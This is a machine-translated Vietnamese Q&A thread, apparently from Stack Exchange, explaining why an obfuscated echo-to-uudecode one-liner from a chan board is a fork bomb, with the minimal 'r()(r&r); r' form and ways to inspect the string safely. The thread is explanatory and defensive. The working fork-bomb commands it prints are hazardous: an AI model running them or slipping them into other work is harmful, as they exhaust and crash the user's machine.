Làm thế nào và tại sao chuỗi văn bản này là một quả bom ngã ba?


132

Tìm thấy trên một bảng chan ngẫu nhiên:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Bằng cách nào đó chạy điều này dẫn đến một quá trình sinh sản vô hạn chạy tràn lan và nghiền nát máy. Tôi thấy một cái gì đó về "su" cố gắng được thực hiện nhiều lần.

..có gì lạ, vì tôi chỉ mong văn bản là đầu ra chứ không phải thực thi bất cứ thứ gì.

Chạy văn bản này thông qua một bộ giải mã trực tuyến chỉ cho tôi một loạt các lần phun nhị phân:

kết quả uudecode

Cái mớ hỗn độn này của văn bản thực sự đang làm gì, và có cách nào để "xem" nó một cách an toàn không?


Tại sao "su" bị xử tử nhiều lần?
Brent Washburne

34
Một lời khuyên: đừng chạy mã từ các bảng chan ngẫu nhiên và hãy biết ơn vì đó chỉ là một quả bom ngã ba.
rr- 8/11/2015

21
Heh. Rất may, tôi đã sử dụng một máy ảo chụp nhanh được thực hiện cho mục đích rõ ràng là chơi xung quanh với rác có thể thù địch như thế này.
Mikey TK


1
Vidar Holen, tác giả của shellcheck.net đã viết một bài đăng trên blog về điều này, trong đó ông tuyên bố là tác giả của quả bom nĩa này và đưa ra một số thông tin cơ bản.
Socowi

Câu trả lời:


194

Đầu tiên, chúng ta hãy xem toàn bộ lệnh:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Nó chứa một chuỗi trích dẫn kép được lặp lại uudecode. Nhưng, lưu ý rằng, trong chuỗi trích dẫn kép là một chuỗi trích dẫn ngược . Chuỗi này được thực thi . Chuỗi là:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Nếu chúng ta nhìn vào những gì trong đó, chúng ta sẽ thấy ba lệnh:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Thực hiện mở rộng cú đúp trên lệnh giữa, chúng ta có:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Dòng đầu tiên cố gắng chạy một lệnh vô nghĩa trong nền. Điều này là không quan trọng.

Dòng thứ hai rất quan trọng: nó xác định một chức năng r, khi chạy, sẽ khởi chạy hai bản sao của chính nó. Tất nhiên, mỗi bản sao đó sẽ ra mắt thêm hai bản nữa. Và như vậy.

Dòng thứ ba chạy r, bắt đầu bom ngã ba.

Phần còn lại của mã, bên ngoài chuỗi trích dẫn ngược, chỉ là vô nghĩa đối với obfuscation.

Cách chạy lệnh an toàn

Mã này có thể được chạy một cách an toàn nếu chúng ta đặt giới hạn ở mức lồng nhau của hàm. Điều này có thể được thực hiện với FUNCNESTbiến bash . Ở đây, chúng tôi đặt nó 2và điều này dừng đệ quy:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Các thông báo lỗi ở trên cho thấy (a) các lệnh vô nghĩa rYWdlY29jkhông được tìm thấy, (b) quả bom ngã ba liên tục bị dừng bởi FUNCNEST và (c) đầu ra echokhông bắt đầu beginvà do đó, không phải là đầu vào hợp lệ uudecode.

Bom ngã ba ở dạng đơn giản nhất

Bom ngã ba sẽ trông như thế nào nếu chúng ta loại bỏ sự che khuất? Như njzk2 và gerrit đề xuất, nó sẽ giống như:

echo "`r()(r&r);r`"

Chúng ta có thể đơn giản hóa hơn nữa:

r()(r&r); r

Điều đó bao gồm hai câu lệnh: một định nghĩa hàm ngã ba rvà lần thứ hai chạy r.

Tất cả các mã khác, bao gồm cả đường ống đến uudecode, chỉ ở đó để che khuất và định hướng sai.

Các hình thức ban đầu đã có một lớp sai lầm khác

OP đã cung cấp một liên kết đến cuộc thảo luận về bảng mạch mà mã này xuất hiện. Như được trình bày ở đó, mã trông giống như:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Lưu ý một trong những ý kiến ​​đầu tiên về mã này:

Tôi đã yêu nó. Chỉ sao chép phần có tiếng vang và giải mã, nhưng vẫn có phần hai

Trong biểu mẫu trên bảng Gord, người ta sẽ ngây thơ nghĩ rằng vấn đề sẽ là evaltuyên bố hoạt động trên đầu ra của uudecode. Điều này sẽ khiến người ta nghĩ rằng loại bỏ evalsẽ giải quyết vấn đề. Như chúng ta đã thấy ở trên, điều này là sai và nguy hiểm như vậy.


6
Quanh co! Tôi chưa bao giờ nghĩ đến việc xem xét việc mở rộng / mở rộng vỏ ở giữa chuỗi lặp lại.
Mikey TK

31
Tôi nghĩ rằng sẽ tốt khi lưu ý rằng điều đó uudecodehoàn toàn không liên quan ở đây. Trong một khoảnh khắc tôi nghĩ rằng uudecodeviệc thực hiện phép nội suy chuỗi trích dẫn ngược sẽ khiến nó về cơ bản không an toàn, nhưng quả bom ngã ba xảy ra trước khi uudecode bắt đầu.
gerrit

28
... Và điều này , thưa quý vị và quý ông, là lý do tại sao bảo mật trong các kịch bản shell rất khó khăn. Ngay cả những thứ hoàn toàn vô hại có thể giết chết bạn. (Hãy tưởng tượng nếu đây là đầu vào của người dùng từ đâu đó ...)
Toán học,

22
@MathologistsOrchid Thực sự cần nỗ lực không cần thiết để gây ra các nội dung được trích dẫn trong đầu vào của người dùng vào tập lệnh shell để được thực thi. Và nếu bạn đang xây dựng một tập lệnh shell từ đầu vào của người dùng, bạn nên biết rõ hơn là đặt nó trong dấu ngoặc kép.
Random832

5
@ njzk2 Bạn vẫn cần &ở đó : echo "`r()(r&r);r`".
gerrit

10

Để trả lời phần thứ hai của câu hỏi của bạn:

... có cách nào để "xem" một cách an toàn không?

Để gỡ rối chuỗi này, thay thế dấu ngoặc kép bên ngoài bằng dấu ngoặc đơn và thoát khỏi dấu ngoặc đơn xảy ra bên trong chuỗi. Như thế này, shell sẽ không thực thi bất kỳ mã nào và bạn thực sự chuyển mọi thứ thẳng tới uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Các lựa chọn thay thế khác được ghi chú trong các ý kiến:

kasperd đề nghị :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall đề nghị sử dụng trình soạn thảo văn bản, dán nội dung, sau đó chuyển tệp đó sang uudecode.


5
Cách khác: Nhập uudecodevào dòng lệnh. Nhấn Enter. Sao chép-dán chuỗi cần giải mã.
kasperd

3
Một cách khác: sử dụng trình soạn thảo văn bản để lưu nội dung vào tệp. Mở tập tin đó với uudecode.
Jacob Krall

Nhờ cả hai, tôi đã lưu ý những lựa chọn thay thế trong câu trả lời.
gerrit

1
Hãy chắc chắn rằng bạn kiểm tra xem chuỗi không giống như echo "foo`die`bar'`die`'baz"trước! Đó là, nếu nó có bất kỳ 's nào trong đó thì thay thế dấu ngoặc kép bằng dấu ngoặc đơn sẽ không đủ.
wchargein

5

Thoạt nhìn, bạn có thể nghĩ rằng đầu ra cho shell sẽ không bao giờ được thực thi . Điều này vẫn đúng . Vấn đề đã có trong đầu vào . Thủ thuật chính ở đây là những gì lập trình viên gọi là ưu tiên toán tử . Đây là thứ tự shell cố gắng xử lý đầu vào của bạn:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Soạn chuỗi bằng cách thực hiện tất cả các lệnh backticks bên trong nó.
  2. Thường là một lệnh không xác định, sẽ gây ra một số đầu ra như Nếu 'rYWdl' không phải là một lỗi đánh máy, bạn có thể sử dụng lệnh không tìm thấy để tra cứu gói có chứa nó (tùy thuộc vào hệ thống)
  3. Thực hiện 2. trong nền. Bạn sẽ không bao giờ nhìn thấy một đầu ra.
  4. Xác định chức năng bom ngã ba.
  5. Dấu tách lệnh.
  6. Chạy bom ngã ba.
  7. Chèn kết quả của 6. vào Chuỗi. (Chúng tôi không bao giờ đến đây.)

Lỗi là nghĩ rằng đó echosẽ là lệnh đầu tiên được thực thi, uudecodethứ hai. Cả hai sẽ không bao giờ đạt được.

Kết luận: Dấu ngoặc kép luôn nguy hiểm trên vỏ.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.